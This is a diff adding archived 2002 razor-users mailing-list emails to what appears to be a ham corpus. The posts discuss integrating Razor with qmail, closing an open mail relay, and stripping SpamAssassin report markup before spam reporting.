13 Aug 2002 15:42:28 -0000 +From: "Michael J Humphries" +To: +Subject: RE: [Razor-users] FW: intigration with qmail +Message-Id: <00ad01c242df$35220f40$1c01a8c0@UPTEL.LOCAL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2605 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <02cd01c242dc$3ca54e60$6600a8c0@dhiggins> +Importance: Normal +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 10:36:14 -0500 +Date: Tue, 13 Aug 2002 10:36:14 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7DFgam06826 + +Thank you for your response I will verify that I have taken these steps +that you have metioned but as well I would like to stop mail from +entering my mail boxes and need the info about how to integrate with +qmail in newbie terms if that is possible. Thank you again for your +help + +Michael Humphries +Alphacomm.net +Network Administrator +906-639-3500 +877-450-3500 +adminmjh@alphacomm.net +www.alphacomm.net + + +-----Original Message----- +From: razor-users-admin@example.sourceforge.net +[mailto:razor-users-admin@lists.sourceforge.net] On Behalf Of Daniel +Higgins +Sent: Tuesday, August 13, 2002 10:15 AM +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] FW: intigration with qmail + +i don't think you get exactly what razor does. razor is used to stop +spam +from entering a mail box, not to leave a mail server. altough you could +probably use it that way i doubt it would do much good (if the mail is +leaving the server, it most likely is a new spam and wouldn`t get caught +by +razor) + +you might want to look into dealing with those troublesome users +directly. +and (as you`ve probably been screamed at a lot of times) close your open +relay if you have one, there are plenty of sites that tells you how +(most +RBL sites) +-- +Daniel Higgins +Netcommunications Inc. +Administrateur Système / Network Administrator +Tel: 450-346-3401 +Fax: 450-346-3587 +dhiggins@netc.net +http://www.netc.net +----- Original Message ----- +From: "Michael J Humphries" +To: +Sent: Tuesday, August 13, 2002 10:44 AM +Subject: [Razor-users] FW: intigration with qmail + + +> I sent this message already and I am sorry if I am asking the wrong +> question or if I have been asking stupid questions but I am in an +urgent +> time when people are using my service to spam others and I NEED to +stop +> them quickly. I hope that some one can help if not please just let me +> know that I have been asking the bad questions or I need to be in a +> different list serv. Thank you all so much for your time +> +> Michael Humphries +> Alphacomm.net +> Network Administrator +> 906-639-3500 +> 877-450-3500 +> adminmjh@alphacomm.net +> www.alphacomm.net +> +> +> -----Original Message----- +> From: Michael J Humphries [mailto:adminmjh@alphacomm.net] +> Sent: Friday, August 09, 2002 2:25 PM +> To: 'razor-users@example.sourceforge.net' +> Subject: intigration with qmail +> +> i have Redhat 7.2 and qmail 1.0.2 and vpopmail 5.3.8 I am tring to +> intigrate the -revoke -check etc.. and can not find where to do so I +> only found the procmail example. Is there a place I can find this +> information or has someone already run into this and found the way to +> get this done +> +> Michael Humphries +> Alphacomm.net +> Network Administrator +> 906-639-3500 +> 877-450-3500 +> adminmjh@alphacomm.net +> www.alphacomm.net +> +> +> +> +> +> ------------------------------------------------------- +> This sf.net email is sponsored by: Dice - The leading online job board +> for high-tech professionals. Search and apply for tech jobs today! +> http://seeker.dice.com/seeker.epl?rel_code=31 +> _______________________________________________ +> Razor-users mailing list +> Razor-users@lists.sourceforge.net +> https://lists.sourceforge.net/lists/listinfo/razor-users +> + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code1 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code1 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00632.d171d66f937e72574b5d880346e0b628 b/bayes/spamham/easy_ham_2/00632.d171d66f937e72574b5d880346e0b628 new file mode 100644 index 0000000..8a53db8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00632.d171d66f937e72574b5d880346e0b628 @@ -0,0 +1,86 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 16:43:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4B53A43C32 + for ; Tue, 13 Aug 2002 11:43:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 16:43:23 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DFeZm06728 for ; Tue, 13 Aug 2002 16:40:35 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17edhG-0005Mv-00; Tue, + 13 Aug 2002 08:35:02 -0700 +Received: from cm22.omega47.scvmaxonline.com.sg ([218.186.47.22] + helo=svr1.03s.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17edgI-0007cr-00 for + ; Tue, 13 Aug 2002 08:34:02 -0700 +Received: (qmail 30015 invoked by uid 501); 13 Aug 2002 15:33:32 -0000 +From: Adrian Ho +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] FW: intigration with qmail +Message-Id: <20020813233332.A30847@svr1.03s.net> +Mail-Followup-To: razor-users@example.sourceforge.net +References: <00aa01c242d7$fc9b1920$1c01a8c0@UPTEL.LOCAL> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.15i +In-Reply-To: <00aa01c242d7$fc9b1920$1c01a8c0@UPTEL.LOCAL>; from + adminmjh@alphacomm.net on Tue, Aug 13, 2002 at 09:44:33AM -0500 +Mail-Followup-To: +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 23:33:32 +0800 +Date: Tue, 13 Aug 2002 23:33:32 +0800 + +On Tue, Aug 13, 2002 at 09:44:33AM -0500, Michael J Humphries wrote: +> I sent this message already and I am sorry if I am asking the wrong +> question or if I have been asking stupid questions but I am in an urgent +> time when people are using my service to spam others and I NEED to stop +> them quickly. + +Sounds like you're solving the wrong problem. If untrusted strangers +are relaying spam through your qmail server, it's a fair bet that +you've seriously botched your qmail config (like forgetting to create +an rcpthosts file or something). + +Anyway, if you insist on using razor to resolve this problem, I +would suggest tossing qmail-scanner +and SpamAssassin into the mix as well. +The former provides the qmail-integration framework on which the latter +does its work (including razor-check invocations). + +Fair warning: It'll be far more resource-intensive than simply denying +relaying privileges to everyone except the folks you trust. To find +out how to do that, go to (which, incidentally, +should be your first stop for all things qmail) and search for "qmail +newbie's guide to relaying". + +- Adrian + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00633.673238f16e0f9bacf6f3bb65da669a64 b/bayes/spamham/easy_ham_2/00633.673238f16e0f9bacf6f3bb65da669a64 new file mode 100644 index 0000000..ce294a2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00633.673238f16e0f9bacf6f3bb65da669a64 @@ -0,0 +1,73 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 18:05:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EA7BE43C32 + for ; Tue, 13 Aug 2002 13:05:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 18:05:29 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DH5X410418 for ; Tue, 13 Aug 2002 18:05:33 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ef0a-0008Iy-00; Tue, + 13 Aug 2002 09:59:04 -0700 +Received: from neo.pittstate.edu ([198.248.208.13]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eezd-0005Oi-00 for ; Tue, + 13 Aug 2002 09:58:05 -0700 +Received: from [198.248.208.11] (macdaddy.pittstate.edu [198.248.208.11]) + by neo.pittstate.edu (8.12.2/8.12.2) with ESMTP id g7DGvmW7002590 for + ; Tue, 13 Aug 2002 11:57:48 -0500 +MIME-Version: 1.0 +Message-Id: +To: razor-users@example.sourceforge.net +From: Justin Shore +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Subject: [Razor-users] Stripping the SpamAssassin report +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 11:58:03 -0500 +Date: Tue, 13 Aug 2002 11:58:03 -0500 + +I'm assuming I need to strip the SpamAssassinReport.txt attachments +from my spam mailbox before I run the mailbox through razor-report, +correct? Does anyone know of an easy way to do this? + +Thanks + Justin +-- + +-- +Justin Shore, ES-SS ES-SSR Pittsburg State University +Network & Systems Manager Kelce 157Q +Office of Information Systems Pittsburg, KS 66762 +Voice: (620) 235-4606 Fax: (620) 235-4545 +http://www.pittstate.edu/ois/ + +Warning: This message has been quadruple Rot13'ed for your protection. + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00634.610f63c7f967ce4bd006d31caa9d8c00 b/bayes/spamham/easy_ham_2/00634.610f63c7f967ce4bd006d31caa9d8c00 new file mode 100644 index 0000000..d34ec5d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00634.610f63c7f967ce4bd006d31caa9d8c00 @@ -0,0 +1,80 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:45:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C8CC543C34 + for ; Wed, 14 Aug 2002 05:45:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:45:22 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DIAA412786 for ; Tue, 13 Aug 2002 19:10:10 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17efyX-0000WX-00; Tue, + 13 Aug 2002 11:01:01 -0700 +Received: from neo.pittstate.edu ([198.248.208.13]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17efxf-0007WD-00 for ; Tue, + 13 Aug 2002 11:00:09 -0700 +Received: from [198.248.208.11] (macdaddy.pittstate.edu [198.248.208.11]) + by neo.pittstate.edu (8.12.2/8.12.2) with ESMTP id g7DHxjW7005361; + Tue, 13 Aug 2002 12:59:46 -0500 +MIME-Version: 1.0 +Message-Id: +In-Reply-To: <20020813101201.O50294-100000@rockstar.stealthgeeks.net> +References: <20020813101201.O50294-100000@rockstar.stealthgeeks.net> +To: Patrick +From: Justin Shore +Subject: Re: [Razor-users] Stripping the SpamAssassin report +Cc: razor-users@example.sourceforge.net +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 13:00:00 -0500 +Date: Tue, 13 Aug 2002 13:00:00 -0500 + +At 10:12 AM -0700 8/13/02, Patrick wrote: +>On Tue, 13 Aug 2002, Justin Shore wrote: +> +>> I'm assuming I need to strip the SpamAssassinReport.txt attachments +>> from my spam mailbox before I run the mailbox through razor-report, +>> correct? Does anyone know of an easy way to do this? +> +>man spamassassin + +Whoops. Sorry 'bout that. Didn't think to check spamassassin's man page. +-- + +-- +Justin Shore, ES-SS ES-SSR Pittsburg State University +Network & Systems Manager Kelce 157Q +Office of Information Systems Pittsburg, KS 66762 +Voice: (620) 235-4606 Fax: (620) 235-4545 +http://www.pittstate.edu/ois/ + +Warning: This message has been quadruple Rot13'ed for your protection. + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00635.1003c1e3894e3a1ab710eef5abf381b9 b/bayes/spamham/easy_ham_2/00635.1003c1e3894e3a1ab710eef5abf381b9 new file mode 100644 index 0000000..cd9f96f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00635.1003c1e3894e3a1ab710eef5abf381b9 @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:45:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7A8E643C41 + for ; Wed, 14 Aug 2002 05:45:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:45:20 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DI9W412631 for ; Tue, 13 Aug 2002 19:09:32 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17efzX-0000to-00; Tue, + 13 Aug 2002 11:02:03 -0700 +Received: from neo.pittstate.edu ([198.248.208.13]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17efzG-0007j6-00 for ; Tue, + 13 Aug 2002 11:01:46 -0700 +Received: from [198.248.208.11] (macdaddy.pittstate.edu [198.248.208.11]) + by neo.pittstate.edu (8.12.2/8.12.2) with ESMTP id g7DI1RW7005602; + Tue, 13 Aug 2002 13:01:27 -0500 +MIME-Version: 1.0 +Message-Id: +In-Reply-To: <20020813175229.GF31657@kluge.net> +References: + <20020813175229.GF31657@kluge.net> +To: Theo Van Dinter +From: Justin Shore +Subject: Re: [Razor-users] Stripping the SpamAssassin report +Cc: razor-users@example.sourceforge.net +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 13:01:42 -0500 +Date: Tue, 13 Aug 2002 13:01:42 -0500 + +At 1:52 PM -0400 8/13/02, Theo Van Dinter wrote: +>On Tue, Aug 13, 2002 at 11:58:03AM -0500, Justin Shore wrote: +>> I'm assuming I need to strip the SpamAssassinReport.txt attachments +>> from my spam mailbox before I run the mailbox through razor-report, +>> correct? Does anyone know of an easy way to do this? +> +>use "spamassassin -r". It'll take a message, strip the SA bits, and +>report to razor, all in one shot. :) + +Ah... You learn something new every day! This would make things +quite a bit easier. I assume it can handle a mailbox full of mail to +report rather than a single piece of spam from STDIN. I'll check the +docs on that though. + +Thanks! + Justin +-- + +-- +Justin Shore, ES-SS ES-SSR Pittsburg State University +Network & Systems Manager Kelce 157Q +Office of Information Systems Pittsburg, KS 66762 +Voice: (620) 235-4606 Fax: (620) 235-4545 +http://www.pittstate.edu/ois/ + +Warning: This message has been quadruple Rot13'ed for your protection. + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00636.934784d4ed76cc8ad094ac8261dd9bcf b/bayes/spamham/easy_ham_2/00636.934784d4ed76cc8ad094ac8261dd9bcf new file mode 100644 index 0000000..14e0ae6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00636.934784d4ed76cc8ad094ac8261dd9bcf @@ -0,0 +1,104 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:46:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6252843C44 + for ; Wed, 14 Aug 2002 05:45:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:45:30 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DID6412851 for ; Tue, 13 Aug 2002 19:13:06 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eg5O-0002er-00; Tue, + 13 Aug 2002 11:08:06 -0700 +Received: from h-66-134-120-173.lsanca54.covad.net ([66.134.120.173] + helo=stealthgeeks.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17eg4n-0008EI-00 for + ; Tue, 13 Aug 2002 11:07:29 -0700 +Received: (qmail 50918 invoked by uid 1001); 13 Aug 2002 18:07:27 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 13 Aug 2002 18:07:27 -0000 +From: Patrick +To: David Raistrick +Cc: Justin Shore , + +Subject: Re: [Razor-users] Stripping the SpamAssassin report +In-Reply-To: +Message-Id: <20020813110536.L50887-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 11:07:27 -0700 (PDT) +Date: Tue, 13 Aug 2002 11:07:27 -0700 (PDT) + +On Tue, 13 Aug 2002, David Raistrick wrote: + +> On Tue, 13 Aug 2002, Patrick wrote: +> +> > On Tue, 13 Aug 2002, Justin Shore wrote: +> > +> > > I'm assuming I need to strip the SpamAssassinReport.txt attachments +> > > from my spam mailbox before I run the mailbox through razor-report, +> > > correct? Does anyone know of an easy way to do this? +> > +> > man spamassassin +> +> +> To actually answer Justin's question, (one can assume that he has +> rewrite_subject and report_header turned on because he wants them..and +> that he would like to be able to strip the added bits off before he sends +> them to razor) something as simple as the following would probably work +> just fine. Just pipe your message through this, then on into +> razor-report: +> +> grep -v "SPAM:" | sed 's/Subject: \*\*\*\*\*SPAM\*\*\*\*\* /Subject: /' + +Why not just use spamassassin -r? + + + -r, --report + Report this message as verified spam. This will sub- + mit the mail message read from STDIN to various spam- + blocker databases, such as Vipul's Razor ( + http://razor.sourceforge.net/ ) and the Distributed + Checksum Clearinghouse ( http://www.rhyolite.com/anti- + spam/dcc/ ). + + If the message contains SpamAssassin markup, this will + be stripped out automatically before submission. + + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00637.b8b627542a5af9e99890aff7a73c7754 b/bayes/spamham/easy_ham_2/00637.b8b627542a5af9e99890aff7a73c7754 new file mode 100644 index 0000000..beea98c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00637.b8b627542a5af9e99890aff7a73c7754 @@ -0,0 +1,107 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:46:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8F8E943C43 + for ; Wed, 14 Aug 2002 05:45:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:45:28 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DICq412843 for ; Tue, 13 Aug 2002 19:12:52 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eg4O-0002HZ-00; Tue, + 13 Aug 2002 11:07:04 -0700 +Received: from neo.pittstate.edu ([198.248.208.13]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eg3k-00088u-00 for ; Tue, + 13 Aug 2002 11:06:24 -0700 +Received: from [198.248.208.11] (macdaddy.pittstate.edu [198.248.208.11]) + by neo.pittstate.edu (8.12.2/8.12.2) with ESMTP id g7DI61W7005832; + Tue, 13 Aug 2002 13:06:01 -0500 +MIME-Version: 1.0 +Message-Id: +In-Reply-To: +References: +To: Mike Burger +From: Justin Shore +Subject: Re: [Razor-users] Stripping the SpamAssassin report +Cc: razor-users@example.sourceforge.net +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 13:06:16 -0500 +Date: Tue, 13 Aug 2002 13:06:16 -0500 + +At 12:20 PM -0500 8/13/02, Mike Burger wrote: +>Make sure you have this in your .spamassassin/user_prefs: + +This might be a problem. I'll have to look into it further. I just +got SA working yesterday. It's being called from MIMEDefang. I'm +not sure if it will look for user preferences when run like that. +One would hope it would be I can't say for certain. I'll look in to +it. + +># By default, the subject lines of suspected spam will be tagged. +># This can be disabled here. +># +>rewrite_subject 0 + +Yeah, I disabled the subject rewrite. I also lowered required_hits +to 1 (wonder if I can do zero) so that almost all mail is scored--I'm +testing it right now. auto_report_threshold was raised to 100 to +make sure that all mail gets through to me for now. + +># By default, spamassassin will include its report in the body +># of suspected spam. Enabling this causes the report to go in the +># headers instead. Using 'use_terse_report' for this is recommended. +># +>report_header 1 + +Ah, now I didn't notice this. I rather like this option. I may set +my global default to this. + +>The first tells it not to add *****SPAM***** to the subject, the second +>tells it to put the report in the headers, instead of the body. +> +>If the report is in the headers, it won't be calculated in the +>razor-check. + +This makes sense. I may do that for just this reason. Thanks! + +Justin +-- + +-- +Justin Shore, ES-SS ES-SSR Pittsburg State University +Network & Systems Manager Kelce 157Q +Office of Information Systems Pittsburg, KS 66762 +Voice: (620) 235-4606 Fax: (620) 235-4545 +http://www.pittstate.edu/ois/ + +Warning: This message has been quadruple Rot13'ed for your protection. + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00638.0f45c20ba51fff7284350d23e79a86cf b/bayes/spamham/easy_ham_2/00638.0f45c20ba51fff7284350d23e79a86cf new file mode 100644 index 0000000..f99ef3a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00638.0f45c20ba51fff7284350d23e79a86cf @@ -0,0 +1,85 @@ +From razor-users-admin@lists.sourceforge.net Wed Aug 14 10:47:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D161643C4C + for ; Wed, 14 Aug 2002 05:45:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:45:50 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7DIuP414235 for ; Tue, 13 Aug 2002 19:56:25 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17egh9-0006Bw-00; Tue, + 13 Aug 2002 11:47:07 -0700 +Received: from eclectic.kluge.net ([66.92.69.221]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eggV-0004Ka-00 for ; Tue, + 13 Aug 2002 11:46:27 -0700 +Received: (from felicity@localhost) by eclectic.kluge.net (8.11.6/8.11.6) + id g7DIkLn13672; Tue, 13 Aug 2002 14:46:21 -0400 +From: Theo Van Dinter +To: Justin Shore +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Stripping the SpamAssassin report +Message-Id: <20020813184621.GH31657@kluge.net> +References: + <20020813175229.GF31657@kluge.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-GPG-Keyserver: http://wwwkeys.pgp.net +X-GPG-Keynumber: 0xE580B363 +X-GPG-Fingerprint: 75B1 F6D0 8368 38E7 A4C5 F6C2 02E3 9051 E580 B363 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 14:46:21 -0400 +Date: Tue, 13 Aug 2002 14:46:21 -0400 + +On Tue, Aug 13, 2002 at 01:01:42PM -0500, Justin Shore wrote: +> Ah... You learn something new every day! This would make things +> quite a bit easier. I assume it can handle a mailbox full of mail to +> report rather than a single piece of spam from STDIN. I'll check the +> docs on that though. + +Unfortunately not, it's a one at a time thing. If it would help +you, I have a script that I use which handles a mbox file at a time, +strips the SA stuff, reports to razor, and 